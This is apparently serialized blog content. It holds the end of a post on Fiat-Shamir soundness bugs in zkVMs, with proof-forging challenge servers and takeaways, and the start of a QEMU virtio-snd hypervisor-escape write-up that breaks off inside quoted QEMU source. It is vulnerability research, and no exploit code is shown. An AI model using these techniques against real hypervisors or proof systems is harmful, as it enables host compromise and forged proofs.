Fermat's Last Theorem, i.e you know ",{"type":23,"tag":38,"props":121672,"children":121674},{"className":121673},[2658,2659],[121675],{"type":23,"tag":141,"props":121676,"children":121678},{"className":121677},[2664],[121679],{"type":23,"tag":141,"props":121680,"children":121682},{"className":121681,"ariaHidden":2670},[2669],[121683],{"type":23,"tag":141,"props":121684,"children":121686},{"className":121685},[2675],[121687,121691,121696,121701,121705,121710,121715,121719],{"type":23,"tag":141,"props":121688,"children":121690},{"className":121689,"style":113587},[2680],[],{"type":23,"tag":141,"props":121692,"children":121694},{"className":121693},[2686,20260],[121695],{"type":29,"value":55},{"type":23,"tag":141,"props":121697,"children":121699},{"className":121698},[2798],[121700],{"type":29,"value":512},{"type":23,"tag":141,"props":121702,"children":121704},{"className":121703,"style":2804},[2766],[],{"type":23,"tag":141,"props":121706,"children":121708},{"className":121707},[2686,20260],[121709],{"type":29,"value":1883},{"type":23,"tag":141,"props":121711,"children":121713},{"className":121712},[2798],[121714],{"type":29,"value":512},{"type":23,"tag":141,"props":121716,"children":121718},{"className":121717,"style":2804},[2766],[],{"type":23,"tag":141,"props":121720,"children":121722},{"className":121721},[2686,20260],[121723],{"type":29,"value":1807},{"type":29,"value":108188},{"type":23,"tag":38,"props":121726,"children":121728},{"className":121727},[2658,2659],[121729],{"type":23,"tag":141,"props":121730,"children":121732},{"className":121731},[2664],[121733],{"type":23,"tag":141,"props":121734,"children":121736},{"className":121735,"ariaHidden":2670},[2669],[121737,121800,121862,121968],{"type":23,"tag":141,"props":121738,"children":121740},{"className":121739},[2675],[121741,121746,121787,121791,121796],{"type":23,"tag":141,"props":121742,"children":121745},{"className":121743,"style":121744},[2680],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":141,"props":121747,"children":121749},{"className":121748},[2686],[121750,121755],{"type":23,"tag":141,"props":121751,"children":121753},{"className":121752},[2686,20260],[121754],{"type":29,"value":55},{"type":23,"tag":141,"props":121756,"children":121758},{"className":121757},[2702],[121759],{"type":23,"tag":141,"props":121760,"children":121762},{"className":121761},[2707],[121763],{"type":23,"tag":141,"props":121764,"children":121766},{"className":121765},[2712],[121767],{"type":23,"tag":141,"props":121768,"children":121770},{"className":121769,"style":2681},[2717],[121771],{"type":23,"tag":141,"props":121772,"children":121773},{"style":2721},[121774,121778],{"type":23,"tag":141,"props":121775,"children":121777},{"className":121776,"style":2727},[2726],[],{"type":23,"tag":141,"props":121779,"children":121781},{"className":121780},[2732,2733,2734,2735],[121782],{"type":23,"tag":141,"props":121783,"children":121785},{"className":121784},[2686,2735],[121786],{"type":29,"value":15972},{"type":23,"tag":141,"props":121788,"children":121790},{"className":121789,"style":2767},[2766],[],{"type":23,"tag":141,"props":121792,"children":121794},{"className":121793},[2772],[121795],{"type":29,"value":3058},{"type":23,"tag":141,"props":121797,"children":121799},{"className":121798,"style":2767},[2766],[],{"type":23,"tag":141,"props":121801,"children":121803},{"className":121802},[2675],[121804,121808,121849,121853,121858],{"type":23,"tag":141,"props":121805,"children":121807},{"className":121806,"style":2681},[2680],[],{"type":23,"tag":141,"props":121809,"children":121811},{"className":121810},[2686],[121812,121817],{"type":23,"tag":141,"props":121813,"children":121815},{"className":121814},[2686,20260],[121816],{"type":29,"value":1883},{"type":23,"tag":141,"props":121818,"children":121820},{"className":121819},[2702],[121821],{"type":23,"tag":141,"props":121822,"children":121824},{"className":121823},[2707],[121825],{"type":23,"tag":141,"props":121826,"children":121828},{"className":121827},[2712],[121829],{"type":23,"tag":141,"props":121830,"children":121832},{"className":121831,"style":2681},[2717],[121833],{"type":23,"tag":141,"props":121834,"children":121835},{"style":2721},[121836,121840],{"type":23,"tag":141,"props":121837,"children":121839},{"className":121838,"style":2727},[2726],[],{"type":23,"tag":141,"props":121841,"children":121843},{"className":121842},[2732,2733,2734,2735],[121844],{"type":23,"tag":141,"props":121845,"children":121847},{"className":121846},[2686,2735],[121848],{"type":29,"value":15972},{"type":23,"tag":141,"props":121850,"children":121852},{"className":121851,"style":2863},[2766],[],{"type":23,"tag":141,"props":121854,"children":121856},{"className":121855},[2868],[121857],{"type":29,"value":1377},{"type":23,"tag":141,"props":121859,"children":121861},{"className":121860,"style":2863},[2766],[],{"type":23,"tag":141,"props":121863,"children":121865},{"className":121864},[2675],[121866,121871,121912,121917,121921,121926,121931,121935,121940,121945,121949,121954,121958,121964],{"type":23,"tag":141,"props":121867,"children":121870},{"className":121868,"style":121869},[2680],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":141,"props":121872,"children":121874},{"className":121873},[2686],[121875,121880],{"type":23,"tag":141,"props":121876,"children":121878},{"className":121877},[2686,20260],[121879],{"type":29,"value":1807},{"type":23,"tag":141,"props":121881,"children":121883},{"className":121882},[2702],[121884],{"type":23,"tag":141,"props":121885,"children":121887},{"className":121886},[2707],[121888],{"type":23,"tag":141,"props":121889,"children":121891},{"className":121890},[2712],[121892],{"type":23,"tag":141,"props":121893,"children":121895},{"className":121894,"style":2681},[2717],[121896],{"type":23,"tag":141,"props":121897,"children":121898},{"style":2721},[121899,121903],{"type":23,"tag":141,"props":121900,"children":121902},{"className":121901,"style":2727},[2726],[],{"type":23,"tag":141,"props":121904,"children":121906},{"className":121905},[2732,2733,2734,2735],[121907],{"type":23,"tag":141,"props":121908,"children":121910},{"className":121909},[2686,2735],[121911],{"type":29,"value":15972},{"type":23,"tag":141,"props":121913,"children":121915},{"className":121914},[2798],[121916],{"type":29,"value":512},{"type":23,"tag":141,"props":121918,"children":121920},{"className":121919,"style":2804},[2766],[],{"type":23,"tag":141,"props":121922,"children":121924},{"className":121923},[2686,20260],[121925],{"type":29,"value":55},{"type":23,"tag":141,"props":121927,"children":121929},{"className":121928},[2798],[121930],{"type":29,"value":512},{"type":23,"tag":141,"props":121932,"children":121934},{"className":121933,"style":2804},[2766],[],{"type":23,"tag":141,"props":121936,"children":121938},{"className":121937},[2686,20260],[121939],{"type":29,"value":1883},{"type":23,"tag":141,"props":121941,"children":121943},{"className":121942},[2798],[121944],{"type":29,"value":512},{"type":23,"tag":141,"props":121946,"children":121948},{"className":121947,"style":2804},[2766],[],{"type":23,"tag":141,"props":121950,"children":121952},{"className":121951},[2686,20260],[121953],{"type":29,"value":1807},{"type":23,"tag":141,"props":121955,"children":121957},{"className":121956,"style":2863},[2766],[],{"type":23,"tag":141,"props":121959,"children":121961},{"className":121960},[2868],[121962],{"type":29,"value":121963},"≥",{"type":23,"tag":141,"props":121965,"children":121967},{"className":121966,"style":2863},[2766],[],{"type":23,"tag":141,"props":121969,"children":121971},{"className":121970},[2675],[121972,121976],{"type":23,"tag":141,"props":121973,"children":121975},{"className":121974,"style":92563},[2680],[],{"type":23,"tag":141,"props":121977,"children":121979},{"className":121978},[2686],[121980],{"type":29,"value":687},{"type":29,"value":121982},". Good luck!",{"type":23,"tag":8287,"props":121984,"children":121986},{"id":121985},"jolt",[121987],{"type":29,"value":106345},{"type":23,"tag":32,"props":121989,"children":121990},{},[121991,121993,122004,122006],{"type":29,"value":121992},"See ",{"type":23,"tag":55,"props":121994,"children":122001},{"href":121995,"target":121996,"rel":121997,"download":122000},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[121998,121999],"noopener","noreferrer","handout_jolt.tar.gz",[122002],{"type":29,"value":122003},"the handout",{"type":29,"value":122005}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":38,"props":122007,"children":122009},{"className":122008},[],[122010],{"type":29,"value":122011},"jolt.chal.osec.io:8960",{"type":23,"tag":8287,"props":122013,"children":122015},{"id":122014},"nexus-1",[122016],{"type":29,"value":106351},{"type":23,"tag":32,"props":122018,"children":122019},{},[122020,122021,122028,122029],{"type":29,"value":121992},{"type":23,"tag":55,"props":122022,"children":122026},{"href":122023,"target":121996,"rel":122024,"download":122025},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[121998,121999],"handout_nexus.tar.gz",[122027],{"type":29,"value":122003},{"type":29,"value":122005},{"type":23,"tag":38,"props":122030,"children":122032},{"className":122031},[],[122033],{"type":29,"value":122034},"nexus.chal.osec.io:8950",{"type":23,"tag":32,"props":122036,"children":122037},{},[122038],{"type":29,"value":122039},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":17463,"props":122041,"children":122042},{},[],{"type":23,"tag":24,"props":122044,"children":122046},{"id":122045},"takeaways",[122047],{"type":29,"value":122048},"Takeaways",{"type":23,"tag":32,"props":122050,"children":122051},{},[122052],{"type":29,"value":122053},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":32,"props":122055,"children":122056},{},[122057],{"type":29,"value":122058},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":32,"props":122060,"children":122061},{},[122062,122067],{"type":23,"tag":3998,"props":122063,"children":122064},{},[122065],{"type":29,"value":122066},"For the ZK ecosystem:",{"type":29,"value":122068}," The Fiat-Shamir transform looks simple. Hash everything, derive challenges. In practice, \"everything\" is hard to specify when you have dozens of components, each with its own inputs and outputs, each expecting someone else to handle binding.",{"type":23,"tag":32,"props":122070,"children":122071},{},[122072],{"type":29,"value":122073},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":23,"tag":32,"props":122075,"children":122076},{},[122077,122082],{"type":23,"tag":3998,"props":122078,"children":122079},{},[122080],{"type":29,"value":122081},"For auditors:",{"type":29,"value":122083}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":23,"tag":32,"props":122085,"children":122086},{},[122087,122092],{"type":23,"tag":3998,"props":122088,"children":122089},{},[122090],{"type":29,"value":122091},"For builders:",{"type":29,"value":122093}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":23,"tag":1508,"props":122095,"children":122096},{},[122097],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":122099},[122100,122101,122104,122110,122111,122119,122125,122128,122129,122133],{"id":106396,"depth":180,"text":106399},{"id":106538,"depth":180,"text":106541,"children":122102},[122103],{"id":106544,"depth":205,"text":106547},{"id":106973,"depth":180,"text":106976,"children":122105},[122106,122107,122108,122109],{"id":106984,"depth":205,"text":106987},{"id":107172,"depth":205,"text":107175},{"id":110553,"depth":205,"text":110556},{"id":111767,"depth":205,"text":111770},{"id":113404,"depth":180,"text":113407},{"id":113910,"depth":180,"text":113913,"children":122112},[122113,122114,122115,122116,122117,122118],{"id":113932,"depth":205,"text":113935},{"id":115257,"depth":205,"text":106351},{"id":116393,"depth":205,"text":116396},{"id":117061,"depth":205,"text":117064},{"id":119717,"depth":205,"text":119720},{"id":120271,"depth":205,"text":106375},{"id":121200,"depth":180,"text":121203,"children":122120},[122121,122122,122123,122124],{"id":121211,"depth":205,"text":121214},{"id":121381,"depth":205,"text":121384},{"id":121405,"depth":205,"text":121408},{"id":121421,"depth":205,"text":121424},{"id":121435,"depth":180,"text":121438,"children":122126},[122127],{"id":121441,"depth":205,"text":121444},{"id":121475,"depth":180,"text":121478},{"id":121652,"depth":180,"text":106388,"children":122130},[122131,122132],{"id":121985,"depth":205,"text":106345},{"id":122014,"depth":205,"text":106351},{"id":122045,"depth":180,"text":122048},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":122138,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":122139,"description":122140,"date":122141,"author":122142,"image":122143,"isFeatured":15,"onBlogPage":15,"tags":122145,"body":122148,"_type":1522,"_id":130434,"_source":1524,"_file":130435,"_stem":130436,"_extension":1527},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":122144,"width":95753,"height":13},"/posts/virtio-snd-qemu-0day/title.png",[122146,122147],"qemu","heap-overflow",{"type":20,"children":122149,"toc":130416},[122150,122155,122160,122165,122171,122176,122181,122189,122195,122207,122211,122216,122224,122229,122235,122240,122253,122863,122898,122943,122977,123012,123147,123195,123201,123206,123962,124007,124043,124078,124143,124163,124613,124660,124663,124668,124733,124759,124781,124785,124790,124795,124801,124806,124811,124816,124822,124835,124841,124846,124854,124924,124929,124935,124948,125174,125237,125256,125639,125644,125677,125682,125958,125970,125988,126267,126279,126282,126317,126322,126328,126340,126352,126357,126362,126372,126407,127024,127056,127067,127103,127116,127122,127134,127142,127168,127173,127206,127247,127253,127272,127310,127318,127367,127372,127421,127426,127434,127521,127527,127566,127578,127586,127604,127623,127631,127643,127651,127670,127678,127689,127697,127708,127716,127729,127737,127743,127748,127761,127769,127787,127795,127807,127812,127820,127856,127889,127896,127930,127938,127943,127949,127961,127972,128251,128311,128379,128387,128421,129025,129036,129044,129050,129055,129066,129820,129853,129865,129951,129971,130180,130227,130239,130245,130264,130290,130318,130334,130361,130364,130384,130398,130402,130407,130412],{"type":23,"tag":32,"props":122151,"children":122152},{},[122153],{"type":29,"value":122154},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":23,"tag":24,"props":122156,"children":122157},{"id":122146},[122158],{"type":29,"value":122159},"QEMU",{"type":23,"tag":32,"props":122161,"children":122162},{},[122163],{"type":29,"value":122164},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":23,"tag":8287,"props":122166,"children":122168},{"id":122167},"virtio-devices",[122169],{"type":29,"value":122170},"Virtio Devices",{"type":23,"tag":32,"props":122172,"children":122173},{},[122174],{"type":29,"value":122175},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":23,"tag":32,"props":122177,"children":122178},{},[122179],{"type":29,"value":122180},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":23,"tag":32,"props":122182,"children":122183},{},[122184],{"type":23,"tag":2591,"props":122185,"children":122188},{"alt":122186,"src":122187},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":23,"tag":24,"props":122190,"children":122192},{"id":122191},"finding-a-bug",[122193],{"type":29,"value":122194},"Finding a Bug",{"type":23,"tag":32,"props":122196,"children":122197},{},[122198,122200,122206],{"type":29,"value":122199},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":23,"tag":38,"props":122201,"children":122203},{"className":122202},[],[122204],{"type":29,"value":122205},"virtio-snd",{"type":29,"value":322},{"type":23,"tag":8287,"props":122208,"children":122209},{"id":122205},[122210],{"type":29,"value":122205},{"type":23,"tag":32,"props":122212,"children":122213},{},[122214],{"type":29,"value":122215},"From the official documentation:",{"type":23,"tag":355,"props":122217,"children":122218},{},[122219],{"type":23,"tag":32,"props":122220,"children":122221},{},[122222],{"type":29,"value":122223},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":23,"tag":32,"props":122225,"children":122226},{},[122227],{"type":29,"value":122228},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":23,"tag":17563,"props":122230,"children":122232},{"id":122231},"audio-data-buffers",[122233],{"type":29,"value":122234},"Audio Data Buffers",{"type":23,"tag":32,"props":122236,"children":122237},{},[122238],{"type":29,"value":122239},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":23,"tag":32,"props":122241,"children":122242},{},[122243,122245,122251],{"type":29,"value":122244},"For example, the following is ",{"type":23,"tag":38,"props":122246,"children":122248},{"className":122247},[],[122249],{"type":29,"value":122250},"virtio_snd_handle_rx_xfer",{"type":29,"value":122252},", which is responsible for allocating buffers for an input audio stream:",{"type":23,"tag":131,"props":122254,"children":122256},{"code":122255,"language":1807,"meta":7,"className":15191,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[122257],{"type":23,"tag":38,"props":122258,"children":122259},{"__ignoreMap":7},[122260,122267,122275,122283,122290,122298,122306,122314,122362,122369,122386,122393,122400,122412,122429,122436,122472,122492,122503,122510,122517,122525,122532,122565,122624,122642,122681,122706,122730,122758,122785,122823,122830,122842,122849,122856],{"type":23,"tag":141,"props":122261,"children":122262},{"class":143,"line":144},[122263],{"type":23,"tag":141,"props":122264,"children":122265},{"style":443},[122266],{"type":29,"value":47844},{"type":23,"tag":141,"props":122268,"children":122269},{"class":143,"line":180},[122270],{"type":23,"tag":141,"props":122271,"children":122272},{"style":443},[122273],{"type":29,"value":122274}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":23,"tag":141,"props":122276,"children":122277},{"class":143,"line":205},[122278],{"type":23,"tag":141,"props":122279,"children":122280},{"style":443},[122281],{"type":29,"value":122282}," * respective streams for consumption.\n",{"type":23,"tag":141,"props":122284,"children":122285},{"class":143,"line":218},[122286],{"type":23,"tag":141,"props":122287,"children":122288},{"style":443},[122289],{"type":29,"value":18160},{"type":23,"tag":141,"props":122291,"children":122292},{"class":143,"line":227},[122293],{"type":23,"tag":141,"props":122294,"children":122295},{"style":443},[122296],{"type":29,"value":122297}," * @vdev: VirtIOSound device\n",{"type":23,"tag":141,"props":122299,"children":122300},{"class":143,"line":241},[122301],{"type":23,"tag":141,"props":122302,"children":122303},{"style":443},[122304],{"type":29,"value":122305}," * @vq: rx virtqueue\n",{"type":23,"tag":141,"props":122307,"children":122308},{"class":143,"line":262},[122309],{"type":23,"tag":141,"props":122310,"children":122311},{"style":443},[122312],{"type":29,"value":122313}," */\n",{"type":23,"tag":141,"props":122315,"children":122316},{"class":143,"line":271},[122317,122321,122325,122330,122335,122339,122344,122349,122353,122358],{"type":23,"tag":141,"props":122318,"children":122319},{"style":449},[122320],{"type":29,"value":49523},{"type":23,"tag":141,"props":122322,"children":122323},{"style":449},[122324],{"type":29,"value":49528},{"type":23,"tag":141,"props":122326,"children":122327},{"style":184},[122328],{"type":29,"value":122329}," virtio_snd_handle_rx_xfer",{"type":23,"tag":141,"props":122331,"children":122332},{"style":154},[122333],{"type":29,"value":122334},"(VirtIODevice ",{"type":23,"tag":141,"props":122336,"children":122337},{"style":160},[122338],{"type":29,"value":197},{"type":23,"tag":141,"props":122340,"children":122341},{"style":750},[122342],{"type":29,"value":122343},"vdev",{"type":23,"tag":141,"props":122345,"children":122346},{"style":154},[122347],{"type":29,"value":122348},", VirtQueue ",{"type":23,"tag":141,"props":122350,"children":122351},{"style":160},[122352],{"type":29,"value":197},{"type":23,"tag":141,"props":122354,"children":122355},{"style":750},[122356],{"type":29,"value":122357},"vq",{"type":23,"tag":141,"props":122359,"children":122360},{"style":154},[122361],{"type":29,"value":758},{"type":23,"tag":141,"props":122363,"children":122364},{"class":143,"line":293},[122365],{"type":23,"tag":141,"props":122366,"children":122367},{"style":154},[122368],{"type":29,"value":766},{"type":23,"tag":141,"props":122370,"children":122371},{"class":143,"line":801},[122372,122377,122381],{"type":23,"tag":141,"props":122373,"children":122374},{"style":154},[122375],{"type":29,"value":122376}," VirtQueueElement ",{"type":23,"tag":141,"props":122378,"children":122379},{"style":160},[122380],{"type":29,"value":197},{"type":23,"tag":141,"props":122382,"children":122383},{"style":154},[122384],{"type":29,"value":122385},"elem;\n",{"type":23,"tag":141,"props":122387,"children":122388},{"class":143,"line":810},[122389],{"type":23,"tag":141,"props":122390,"children":122391},{"style":154},[122392],{"type":29,"value":103286},{"type":23,"tag":141,"props":122394,"children":122395},{"class":143,"line":824},[122396],{"type":23,"tag":141,"props":122397,"children":122398},{"emptyLinePlaceholder":15},[122399],{"type":29,"value":719},{"type":23,"tag":141,"props":122401,"children":122402},{"class":143,"line":839},[122403,122407],{"type":23,"tag":141,"props":122404,"children":122405},{"style":148},[122406],{"type":29,"value":1692},{"type":23,"tag":141,"props":122408,"children":122409},{"style":154},[122410],{"type":29,"value":122411}," (;;) {\n",{"type":23,"tag":141,"props":122413,"children":122414},{"class":143,"line":848},[122415,122420,122424],{"type":23,"tag":141,"props":122416,"children":122417},{"style":154},[122418],{"type":29,"value":122419}," VirtIOSoundPCMStream ",{"type":23,"tag":141,"props":122421,"children":122422},{"style":160},[122423],{"type":29,"value":197},{"type":23,"tag":141,"props":122425,"children":122426},{"style":154},[122427],{"type":29,"value":122428},"stream;\n",{"type":23,"tag":141,"props":122430,"children":122431},{"class":143,"line":2304},[122432],{"type":23,"tag":141,"props":122433,"children":122434},{"emptyLinePlaceholder":15},[122435],{"type":29,"value":719},{"type":23,"tag":141,"props":122437,"children":122438},{"class":143,"line":2313},[122439,122444,122448,122453,122458,122462,122467],{"type":23,"tag":141,"props":122440,"children":122441},{"style":154},[122442],{"type":29,"value":122443}," elem ",{"type":23,"tag":141,"props":122445,"children":122446},{"style":160},[122447],{"type":29,"value":1377},{"type":23,"tag":141,"props":122449,"children":122450},{"style":184},[122451],{"type":29,"value":122452}," virtqueue_pop",{"type":23,"tag":141,"props":122454,"children":122455},{"style":154},[122456],{"type":29,"value":122457},"(vq, ",{"type":23,"tag":141,"props":122459,"children":122460},{"style":449},[122461],{"type":29,"value":53807},{"type":23,"tag":141,"props":122463,"children":122464},{"style":154},[122465],{"type":29,"value":122466},"(VirtQueueElement));",{"type":23,"tag":141,"props":122468,"children":122469},{"style":443},[122470],{"type":29,"value":122471}," // [1]\n",{"type":23,"tag":141,"props":122473,"children":122474},{"class":143,"line":2335},[122475,122479,122483,122487],{"type":23,"tag":141,"props":122476,"children":122477},{"style":148},[122478],{"type":29,"value":233},{"type":23,"tag":141,"props":122480,"children":122481},{"style":154},[122482],{"type":29,"value":1220},{"type":23,"tag":141,"props":122484,"children":122485},{"style":160},[122486],{"type":29,"value":19293},{"type":23,"tag":141,"props":122488,"children":122489},{"style":154},[122490],{"type":29,"value":122491},"elem) {\n",{"type":23,"tag":141,"props":122493,"children":122494},{"class":143,"line":2343},[122495,122499],{"type":23,"tag":141,"props":122496,"children":122497},{"style":148},[122498],{"type":29,"value":1959},{"type":23,"tag":141,"props":122500,"children":122501},{"style":154},[122502],{"type":29,"value":1684},{"type":23,"tag":141,"props":122504,"children":122505},{"class":143,"line":2352},[122506],{"type":23,"tag":141,"props":122507,"children":122508},{"style":154},[122509],{"type":29,"value":2008},{"type":23,"tag":141,"props":122511,"children":122512},{"class":143,"line":2421},[122513],{"type":23,"tag":141,"props":122514,"children":122515},{"emptyLinePlaceholder":15},[122516],{"type":29,"value":719},{"type":23,"tag":141,"props":122518,"children":122519},{"class":143,"line":2429},[122520],{"type":23,"tag":141,"props":122521,"children":122522},{"style":154},[122523],{"type":29,"value":122524}," [...]\n",{"type":23,"tag":141,"props":122526,"children":122527},{"class":143,"line":2459},[122528],{"type":23,"tag":141,"props":122529,"children":122530},{"emptyLinePlaceholder":15},[122531],{"type":29,"value":719},{"type":23,"tag":141,"props":122533,"children":122534},{"class":143,"line":2467},[122535,122540,122544,122548,122552,122556,122561],{"type":23,"tag":141,"props":122536,"children":122537},{"style":184},[122538],{"type":29,"value":122539}," WITH_QEMU_LOCK_GUARD",{"type":23,"tag":141,"props":122541,"children":122542},{"style":154},[122543],{"type":29,"value":192},{"type":23,"tag":141,"props":122545,"children":122546},{"style":160},[122547],{"type":29,"value":1770},{"type":23,"tag":141,"props":122549,"children":122550},{"style":750},[122551],{"type":29,"value":34732},{"type":23,"tag":141,"props":122553,"children":122554},{"style":154},[122555],{"type":29,"value":12435},{"type":23,"tag":141,"props":122557,"children":122558},{"style":750},[122559],{"type":29,"value":122560},"queue_mutex",{"type":23,"tag":141,"props":122562,"children":122563},{"style":154},[122564],{"type":29,"value":13480},{"type":23,"tag":141,"props":122566,"children":122567},{"class":143,"line":2499},[122568,122573,122577,122582,122586,122590,122594,122599,122603,122607,122611,122616,122620],{"type":23,"tag":141,"props":122569,"children":122570},{"style":154},[122571],{"type":29,"value":122572}," size ",{"type":23,"tag":141,"props":122574,"children":122575},{"style":160},[122576],{"type":29,"value":1377},{"type":23,"tag":141,"props":122578,"children":122579},{"style":184},[122580],{"type":29,"value":122581}," iov_size",{"type":23,"tag":141,"props":122583,"children":122584},{"style":154},[122585],{"type":29,"value":192},{"type":23,"tag":141,"props":122587,"children":122588},{"style":750},[122589],{"type":29,"value":50543},{"type":23,"tag":141,"props":122591,"children":122592},{"style":154},[122593],{"type":29,"value":12435},{"type":23,"tag":141,"props":122595,"children":122596},{"style":750},[122597],{"type":29,"value":122598},"in_sg",{"type":23,"tag":141,"props":122600,"children":122601},{"style":154},[122602],{"type":29,"value":480},{"type":23,"tag":141,"props":122604,"children":122605},{"style":750},[122606],{"type":29,"value":50543},{"type":23,"tag":141,"props":122608,"children":122609},{"style":154},[122610],{"type":29,"value":12435},{"type":23,"tag":141,"props":122612,"children":122613},{"style":750},[122614],{"type":29,"value":122615},"in_num",{"type":23,"tag":141,"props":122617,"children":122618},{"style":154},[122619],{"type":29,"value":1748},{"type":23,"tag":141,"props":122621,"children":122622},{"style":160},[122623],{"type":29,"value":49340},{"type":23,"tag":141,"props":122625,"children":122626},{"class":143,"line":2507},[122627,122632,122637],{"type":23,"tag":141,"props":122628,"children":122629},{"style":449},[122630],{"type":29,"value":122631}," sizeof",{"type":23,"tag":141,"props":122633,"children":122634},{"style":154},[122635],{"type":29,"value":122636},"(virtio_snd_pcm_status);",{"type":23,"tag":141,"props":122638,"children":122639},{"style":443},[122640],{"type":29,"value":122641}," // [2]\n",{"type":23,"tag":141,"props":122643,"children":122644},{"class":143,"line":2567},[122645,122650,122654,122659,122663,122667,122672,122676],{"type":23,"tag":141,"props":122646,"children":122647},{"style":154},[122648],{"type":29,"value":122649}," buffer ",{"type":23,"tag":141,"props":122651,"children":122652},{"style":160},[122653],{"type":29,"value":1377},{"type":23,"tag":141,"props":122655,"children":122656},{"style":184},[122657],{"type":29,"value":122658}," g_malloc0",{"type":23,"tag":141,"props":122660,"children":122661},{"style":154},[122662],{"type":29,"value":192},{"type":23,"tag":141,"props":122664,"children":122665},{"style":449},[122666],{"type":29,"value":53807},{"type":23,"tag":141,"props":122668,"children":122669},{"style":154},[122670],{"type":29,"value":122671},"(VirtIOSoundPCMBuffer) ",{"type":23,"tag":141,"props":122673,"children":122674},{"style":160},[122675],{"type":29,"value":3058},{"type":23,"tag":141,"props":122677,"children":122678},{"style":154},[122679],{"type":29,"value":122680}," size);\n",{"type":23,"tag":141,"props":122682,"children":122683},{"class":143,"line":7724},[122684,122689,122693,122697,122701],{"type":23,"tag":141,"props":122685,"children":122686},{"style":750},[122687],{"type":29,"value":122688}," buffer",{"type":23,"tag":141,"props":122690,"children":122691},{"style":154},[122692],{"type":29,"value":12435},{"type":23,"tag":141,"props":122694,"children":122695},{"style":750},[122696],{"type":29,"value":50543},{"type":23,"tag":141,"props":122698,"children":122699},{"style":160},[122700],{"type":29,"value":1674},{"type":23,"tag":141,"props":122702,"children":122703},{"style":154},[122704],{"type":29,"value":122705}," elem;\n",{"type":23,"tag":141,"props":122707,"children":122708},{"class":143,"line":7742},[122709,122713,122717,122721,122725],{"type":23,"tag":141,"props":122710,"children":122711},{"style":750},[122712],{"type":29,"value":122688},{"type":23,"tag":141,"props":122714,"children":122715},{"style":154},[122716],{"type":29,"value":12435},{"type":23,"tag":141,"props":122718,"children":122719},{"style":750},[122720],{"type":29,"value":122357},{"type":23,"tag":141,"props":122722,"children":122723},{"style":160},[122724],{"type":29,"value":1674},{"type":23,"tag":141,"props":122726,"children":122727},{"style":154},[122728],{"type":29,"value":122729}," 